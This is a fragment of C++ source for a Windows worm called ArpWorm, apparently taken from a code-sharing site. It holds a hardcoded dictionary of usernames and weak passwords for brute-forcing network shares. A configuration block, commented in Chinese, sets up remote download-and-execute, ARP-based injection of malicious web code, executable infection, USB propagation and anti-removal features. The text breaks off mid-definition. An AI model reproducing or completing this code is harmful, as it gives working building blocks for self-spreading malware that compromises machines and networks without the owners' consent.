www.pudn.com > ArpWorm.rar > WebDown.cpp


// WebDown.cpp : Defines the entry point for the console application. 
#include "stdafx.h" 
#include "WebDown.h" 
#include "wrom.h" 
#include "win32cpp.h" 
//#include "ipc.h" 
#include  
#include "winsvc.h" 
 
#include "winsvc.h" 
 
#include "winsock2.h" 
#pragma comment(lib,"ws2_32.lib") 
 
#include "PingI.h" 
#include "winnetwk.h" 
#pragma comment(lib,"mpr.lib") 
 
#include  
 
//#include "afxinet.h" 
 
#include  
 
const char *user[]={ 
"administrator","admin", "guest","alex", "home", 
"love","xp", "user","game", "123", 
"movie","time", "yeah","money", "xpuser", 
0}; 
const char *pass[]={ 
"NULL",  
"password", "123456","qwerty","abc123", "memory", 
"home", "12345678","love","xp", "88888", 
"5201314", "1314520","asdfgh","alex", "angel", 
"123", "asdf","baby","woaini", "movie", 
0}; 
 
 
 
///////////////////////////////////////////////////////////////////////////// 
struct MODIFY_DATA  
{ 
	char DownFile[100];//下载文件列表 
	char DownRunFile[100]; //下载ip和服务端程序执行 
	char DownRunURLFile[100]; //下载ip和服务端程序执行 
	char ArpInject[256];  //Arp感染挂马代码 
	char DownRunArpFile[100]; //下载Arp URL 
	char DownRunBindFile[100]; //文件捆绑下载 URL 
	bool IsWorm;//是否感染EXE启动 
	bool IsUpan;//是否u盘传播 
	bool IsShare;//是否弱口令传播 
	bool IsAnti;//是否反查杀 
	bool IsARP; //是否ARP感染 
	int WaitTime;//巡查时间(分钟) 
}modify_data =  
{ 
	"http://127.0.0.1/down.list", 
	"http://127.0.0.1/", 
    "http://127.0.0.1/", 
	"